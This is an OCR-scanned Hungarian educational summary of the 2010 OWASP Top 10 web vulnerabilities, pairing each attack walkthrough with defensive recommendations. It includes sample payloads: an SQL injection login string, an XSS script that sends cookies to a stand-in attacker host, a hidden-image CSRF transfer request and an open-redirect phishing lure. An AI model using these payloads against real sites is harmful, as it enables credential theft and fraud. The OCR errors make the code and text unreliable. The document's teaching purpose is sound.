() EDUCATIO

OWASP-ToplQ biztonsédgi problémék Székely Enikd osszefoglaldséaban

OWASP Top 10

Az Open Web Application Security Project (OWASP) egy nemzetkézi nonprofit szervezet, mely az alkalmazasok
biztonsaganak fokozasat tlzte ki céljaul. Célja a biztonsag lathatova tétele, hogy az egyének és cégek megalapozott,
valés biztonsagi kockazatokat figyelembe vevé dontéseket hozhassanak. A kézosség nyitott, az eszkozok, és az
OsszegyUjtott tudas szabad és nyilt forrasu licenc feltételei szerint elérhetd.

A Top 10 lista a webes alkalmazasokkal szembeni tiz legjelentSsebb sériilékenységet mutatja be, hogy
megismerésiikkel segitséget kapjanak a fejlesztSk, és biztonsagosabb programkodot készitsenek. Az elsé lista 2003-
ban készilt el, jelen kiadvany a 2010-es kiadason alapszik.

Forras: https:

www.owasp.org/index.php/Hungary, valamint az oldalon talalhat6 ,,A TOP10-es lista bemutatasa”, Prém Déniel (Obudai Egyetem) eléadasa.

1. Injection
Mit csinal?
Adatokat vagy utasitdsokat juttat be az alkalmazason keresztil a parancsértelmezének. Pl.:
- SQL
- LDAP
- XPath
- OS Shell
- kédbefecskendezés

Az elpiilt évek dldozatai koé estek olyan neves villalatok, mint:
- Sony
- LinkedIn
- Yahoo

Miikideése:
1. A timado betolti az oldalt.
2. Beitja a timadast az Grlapba, majd elkildi a szerverre.

Usemame: 'OR 1=1--
Passwaord:

3. Az alkalmazas felépiti az SQL lekérdezést, és tovabbitja az adatbizis felé.

SELECT * FROM "users’
WHERE "name’ = ''OR 1=1--"
AND 'pass' = "'

4. Az adatbdzis lefuttatja a médositott lekérdezést, és az adatokat visszakildi az alkalmazasnak.

user#l: USER1, userl@email.hu
user#2: USER2, userz@email.hu

user#n: USERN, usern@email.hu

5. Az alkalmazas kiadja az adatokat, jovahagyja a hozzaférést és lefuttatja az utasitdsokat.

Javaslatok:
- Megtelel6 bementi paraméter ellenrzés (tipus, hossz, érték stb.).
- Ahol csak tehetjik, alkalmazzunk White List alapu ellenSrzést a bemend adatokon
- Javasolt pl. Prepared Statements vagy Stored Procedures hasznalata.
- A kiosztott adatbazis jogosultsdg minimalizalasa.
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2. Cross-Site Scripting (XSS)

XSS

- A tamadas a felhasznalé bongész6jében hajtodik végre.

- Lehet tarolt, tikr6z6tt vagy DOM alapu.

- Szinte minden webes alkalmazasban taldlhaté XSS sériilékenység,
Haszndlata:

- Altalaban a felhasznalé munkamenet vagy az érzékeny/személyes adatok megszerzése.
- Weboldal tartalmanak moédositasa.
- Adathalasz oldalra valé navigalas.

Az elpiilt évek dldogatai koé estek olyan neves villalatok, mint:
- iwiwhu
- cbay.com
- cnn.com
- adobe.com
- amazon.com
- microsoft.com
- myspace.com

Miikodése:
1. A tamadé betolti az oldalt, és bekiildi az 4rt6 kddot az alkalmazasnak.

<script=> )
document.write(

"<img 5rc=‘httE://evi1.c0m?q="
+ document.cookie + "'alt="" /=" );
</script=

2. A user betolti az alkalmazast a tirolt kdddal egyiitt.

3. A user bongészdje lefuttatja az kodot, és kiszolgaltatja az adatokat, vagy médositja a honlap szerkezetét,
mivel a teljes DOM elérhetd.

4. A tamadé letolt a szerverrdl az GsszegyUjtott adatokat.

Javaslatok:
- Ne haszndljuk fel és ne jelenitsiik meg kozvetleniil a userek altal bevitt adatokat.
- Alkalmazzunk kimeneti kédolast (pl. HTML entitasok) minden user adatra.
- Haabejové HTML adatokat kell kezelni, akkor minden esetben meg kell tisztitani az adatokat.

3. Broken Authentication and Session Management
Probléma:

Az alkalmazasok a felhasznalok hitelesitését, valamint a munkamenet kezelését nem a megfelel6 médon
hajtjak végre, igy lehet6vé teszik a tamadok szamara, hogy megszerezzék, esetleg kitalaljak a jelszavakat,
vagy akar az is el6fordulhat, hogy a végrehajtasi hibakat kihasznalva megszemélyesitenek egy felhasznalot.

- A bejelentkezés altalaban titkositott csatornan keresztil tOrténik. Azonban ez gyakran nem
kényszeritett, ezaltal lehallgathato.

- Fontos a munkamenet azonosité védelem: tudnunk kell, kinek adtuk oda, meddig érvényes stb.

- A tamad6 szempontjabdl szinte 1ényegtelen hogy a username+PW parost vagy a munkamenetet szerzi
meg, mindkettével meg tudja személyesiteni az aldozatot.

- Gyenge jelszékezelés: nincs minimalis hossz, nincs komplexitds megkotés.

- Nem megfelel6en megtervezett jelszo emlékeztetd.

Miikodése:
- Lehallgatas:
1. A timad6 monitorozza a halézati forgalmat.
2. A user bejelentkezik az alkalmazasba.
3. A timadd megszerezte a user belépési adatait.
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- Munkamenet eltéritése:
1. A user munkamenetét az oldal URL-ben adja vissza.
www. 51te. com?ISESSION=93C6A. . .
2. A user kattint egy linkre, amit egy bejegyzésben talalt.
http://www. evil. com
3. A tamadé letSlti a napl6 referer tartalmat.
4. A tamadé megszemélyesiti a usert a munkamenet birtokaban.

Javaslatok:
- A beléptetés ne legyen egyszerd, centralizalt és standardizalt.
- A belépési adatok és a munkamenet azonosité SSL csatornaval valé védelme.
- FPelejtstik el az automatizalt sériilékenység vizsgalati eszkézoket.
- SSL tanusitvany hitelességének és érvényességének ellenérzése.

- Bizonyosodjunk meg arrdl, hogy a kilépés biztosan megsziinteti a munkamenetet és a benne tarolt
adatokat.

4. Insecure Direct Object References
Eldforduldsa:

Amikor egy hivatkozast helyeziink el egy allomanyra, oldalra, kényvtarra vagy barmilyen objektumra,
anélkill, hogy barmilyen hozzaférés vezérlést alkalmaznank.

Gyakran el6fordul, hogy csak azokat a tartalmakat listazzuk ki, amelyekhez a felhasznalénak joga van,
azonban amikor a konkrét kérés végrehajtodik a szerveren, azt mar nem ellenérizziik Gjra. Igy a timadé
barmikor atirhatja az objektumhivatkozast, és hozzaférhet olyan tartalomhoz is, amelyhez normal esetben
nem lenne szabad.

Miikidése:
1. A user betolti a bank online feliiletét.
http://onlinebank. com/overview? acc=4057
2. A tamadé észreveszi, hogy a sajat azonositdja 4057.
3. Médositja ezt a paramétert.
4. Végil megszerzi az aldozat szamlaGsszesit6jén talalhatd informaciokat.

Javaslatok:
- Kertljuk a Path Traversal, Local File Inclusion lehet&ségét.

- A kozvetlen linkelés helyett alkalmazzunk valamilyen leképezési technikat:
http:/ /webapp.com/getrfile=SecretReport.pdf
http:/ /webapp.com/getfile=C5LD]J285832K

- Ellen6rizziik, hogy a paraméter megfelelé formatumu-e.
- Minden esetben ellenérizziik, hogy a felhasznald jogosult-e a tartalom elérésére.

- Ugyeljiink arra is, hogy csak a megfelel6 miveletet végezhesse el az adott objektummal a felhasznalé
(pl. olvasas, iras, torlés).

5. Cross-Site Request Forgecy (CSRF)
Mit esindl?

- A tamado raveszi az aldozat bongészGjét, hogy kérést intézzen a sériilékeny alkalmazas felé.

- A modszer azért sikeres, mert a béngészé minden kéréshez elkiildi az azonositasi adatokat is, mint pl.
Authentication Header, Session ID, IP-cim, Windows Domain Creditentials.

- Tovabbi az is hozzajarul, hogy az aldozat nem 1ép ki az alkalmazasbol.

- E két pont hatdsaként a tamadé olyan kéréseket indithat a sérillékeny alkalmazas felé, amit az legitim
forgalomnak fog érzékelni.

- Tipikusan arra hasznaljak, hogy atutalasokat kezdeményezzenek, esetleg zaroljanak egy fidkot, vagy
esetleg bizalmas adatokhoz férjenek hozza.
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Miikodése:

1. A tamado elhelyezi az artalmas kédot egy honlapon, amit az aldozat is latogat.

<img src="http://mybank. com/transfer?
amount=1500&d5tAcc=4057" width="0" height="0" />

2. A user meglatogatja a sérilékeny alkalmazast, viszont nem jelentkezik ki.
3. Nem sokkal késGbb a user meglatogatja azt az oldalt, ahova a tamadé beszurta az artalmas kodot.
4. A user bongészbje értelmezi a kddot, majd egy legitimnek tiné kérést intéz a sériilékeny alkalmazashoz

a user nevében, amit valéjaban a timadé kezdeményezett.

Javaslatok:

Token rendszer hasznalata, ahol érzékeny adatok feldolgozasa torténik: ellehetetleniti a timadét, hogy
kérést hamisitson.

A tokennek kriptografiailag er6snek vagy randomnak kell lennie.

Kerdljiik a token URL-be helyezését, mert a referer mezével kiolvashato.
Urlapok esetében erésen javasolt a rejtett mezd.

Minden egyes kérésnek egyedi tokenje legyen, lehetSleg lejarati id6vel.
Masodlagos (kétfaktoros) authentikaci6 hasznalata az érzékeny miveletekhez.

6. Security Misconfiguration

A megfelel6 biztonsaghoz a teljes rendszernek naprakésznek és jol konfiguraltnak kell lennie: az
operacios rendszertSl a web és adatbazis szerveren 4t a teljes alkalmazasig.

Ezeket a beallitasokat meg kell hatarozni, végre kell hajtani, majd folyamatosan karban kell tartani és
ellenérizni.

A gyartdk a termékeket alapbdl nem a biztonsiagos konfiguriciéval latjdk el, emiatt ezt késébbi
beallitasokkal kell megteremteni.

Nem csak az OS-t és az alkalmazasokat kell ellenérizni, hanem minden osztalykdnyvtarat és kilsé
modult is, amelyet az alkalmazas hasznal.

A probléma:
Alkalmazas
1 Adatbazis
tamads Keretre, |dszer i
o —
Alkalmalés'ulizerver f
- l_
Web s;ell \ver Fejlesztdi Rendszer
% Operacios R ndszer </
f Teszt Rendszer
> Verzit Kezeld
Javaslatok:

Minden szinten ellendrizni kell a beallitasokat.

Hardening Guide-ok alkalmazasa javasolt.

Ezen a ponton nagyon hasznos lehet az automatizalas.

A rendszer napra készen tartasa javitasokkal: nem csak az OS-t és az alkalmazasokat, hanem minden
osztalykonyvtarat.

Viltozasok biztonsagi hatasanak elemzése.
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7. Insecure Cryptographic Storage
Probléma:
- Nem hatarozzuk meg az érzékeny adatokat, {gy nem a kell§ koriltekintéssel kezeljik Sket.
- Nem figyeliink eléggé, hogy milyen el6fordulasi helyen megfeleléen kezeljik.
- llyenek pl.:

U gyenge titkositds: az adat visszafejthetd.

U a titkositasi kulcs nem megfelel6 kezelése: pl. a szalagos meghajtéra kerilt adatokat
titkositjuk, majd a kulcs ugyanarra a szalagra keril.

U hibasan implementélt jelszé kivonatok: egy sézas nélkili hash akar néhany ora alatt
visszafejthets lehet.

U a napléallomanyokba kertlt ellendrizetlen adatok: pl. a webszerver napléjaba letaroltuk a
felhasznalé jelszavakat.

Miikidése:
1. Az ildozat megadja a bankkartya adatait az alkalmazisnak.
2. A hibanaplé lementi a kérés adatait a napléallomanyba, mivel a Fizetési Atjaré nem elérhetd.
3. Minden IT dolgoz6 szamara elérhetéek a napléallomanyok hibakeresés céljabol.
4. Egy belsé munkatars méris meglovasitja a napléban talalhat6 4milli6 kirtyaszamot.

Javaslatok:
- Erzékeny adatok azonositasa.
- Az érzékeny adatok helyének azonositasa.
- Az adatok és folyamatok megfelel§ titkositassal vagy kivonatolassal val6é védelme.
- Standard és bizonyitott eljarasok hasznalata (sajat magunk altal kitalalt helyett, mert az nem
bizonyitott).
- A kulcsok kell§ koriltekintéssel térténd kezelése.
- Felkésziilés a kulcscserére.

8. Failure to Restrict URL Access

A téma kapcsolatban all a jogosultsagkezeléssel és az Insecure Direct Object References (Nem biztonsagos
kozvetlen objektum hozzatérés) fejezettel, viszont ez kifejezetten az alkalmazds oldalaira tér ki az URL
manipulaldsaval.

Alapvetd probléma:

A jogosultsagokat a linkrendszerbe épitik bele, és azokat a linkeket vagy meniket jelenitik meg a
felhasznal6 szamara, amihez joga van. Azonban kézzel atirja a hivatkozasokat, és ilyenkor sziikséges, hogy a
szerver oldalon torténjen meg az Ujraellendrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy
modositasara.

Miikidése:
1. A felhasznald betolti a bank online feliiletét.
https://onlinebank.com/user/overview
2. FEszreveszi, hogy felhasznaldi szerepkorben van.
https://onlinebank.com/user/overview

3. Moédositja a paramétert, ezaltal a szerepkorét.
https:/ /onlinebank.com/admin/overview

4. Végil magasabb jogkore lesz, mint alapbdl kijarna neki, igy tobb informaciéhoz jut hozza.

Javaslatok:

- Minden oldalnak harom dologra van sziiksége:
U Ellendrizze, hogy a felhasznild belépett-e (ha nem publikus a tattalom).
O Végre kell hajtani a felhasznaldi vagy a szerepkor alapu jogosultsigkezelést.
[ Teljesen le kell tiltani a lehet8ségét a jogosulatlan kéréseknek, amelyek konfiguracios

allomanyokra, naplofajlokra vagy forrasallomanyokra iranyulnak.
- White List alkalmazasa.
- Az automatizalt eszk6zOk itt is gyakran gyengének bizonyulnak.
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9. Insufficient Transport Layer Protection
Probléma:

- Az alkalmazasok gyakran nem hitelesitik vagy titkositjak az érzékeny adatokat a halézati forgalomban,
ezaltal sériil a bizalmassag és a sértetlenség.

- Ha mégis, akkor el6fordul, hogy gyenge algoritmusokat, érvénytelen tanusitvanyokat hasznalnak,
esetleg nem megfelel6en kezelik Sket.

- A tamad¢6 emiatt kénnyen hozzaférhet olyan privat adatokhoz, mint az infrastruktira elemei, operacios
rendszer adatok, felhasznaléi azonositok, bankkartya adatok, egészségligyi informaciok, pénzigyi
adatok stb.

- A megszerzett adatokat késébbi tamadashoz felhasznalhatja, de akar a feketepiacon is eladhatja.

Miikidése:
1. Akilsé timad6 konnyedén lehallgatja a hlézati forgalmat és megszerezheti a belépési adatokat.

2. Sok esetben csak a web szerver és a kliens kozott kapesolat titkositott, ekkor minden gond nélkul egy
belsé tamadé lehallgathatja az alkalmazds és a backend kozotti forgalmat.

Javaslat:
- Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat kozlekedik.
- Egyenként titkositsunk minden tzenetet.
- Digitalisan irjuk ald az tzeneteket.
- Standard algoritmusokat hasznaljunk.
- Taroljuk megfeleléen a kulcsokat és a tanusitvanyokat.
- Ellen6rizzik az SSL tanusitvanyokat, miel6tt hasznaljuk.

10. Avoiding Unvalidated Redirects and Forwards
Probléma:

- A webes alkalmazisok gyakran atiranyitjak (Redirect) vagy tovabbitjik (Forward/Transfer) egy masik
lapra a felhasznaldkat.

- Megfelel§ ellendrzés nélkil a tamadé ezt kihasznalhatja, és atiranyithatja a felhasznal6t egy adathalasz
oldalra.

- De akar egy tovabbitas segitségével jogosulatlan tartalomhoz is hozzaférhet a timadé, hiszen
kikertlheti a hozzaférés vezérlés mechanizmusat.

Miikidése:
1. A tamad¢ levelet kiild az 4ldozat céges E-mail cimére.
From: noreply@navhu
To: alice@ceges.hu
Subject: Nem vart adé visszatérités
Nyilvantartdsunk szerint Onnek lehetSsége van add visszatéritést igényelnie. A folyamat elkezdéséhez, kérjiik,
kattintson ide!

2. Az aldozat rékattint a linkre, mivel megbizik benne, hiszen j6 domain névre mutat.
http://nav.govhu/adorev=1012&..&redirect=www.adathalasz.hu

3. Az alkalmazis nem ellendrzi a redirect paramétert, tehdt sz6l az dldozat bongészdiének, hogy atiranyitja a
kovetkez6 lapra, ami jelen pillanatban egy adathalasz oldal.
4. Az aldozat bongészGije betolti az adathalasz oldalt.

5. Az aldozat megbizik az adathaldsz oldalban, hiszen az el6bb ellendrizte a cimet, és a kinézete is
megegyezik az eredetivel.

Javaslatok:
- Minimalizaljuk az atiranyitasok szamat az alkalmazasban.
- Ha alkalmazzuk, akkor kertljiik a felhasznaléi paraméterben megadhato atiranyitasokat.
- Hal elkeriilhetetlen a paraméteres atiranyitas, akkor mindig ellenérizzik, hogy a felhasznalé jogosult-e
az atiranyitott oldalt elérni.
- Kuls6 atirdnyitas esetén ellenérizzik, hogy a cél szerepel-e a White List-en.
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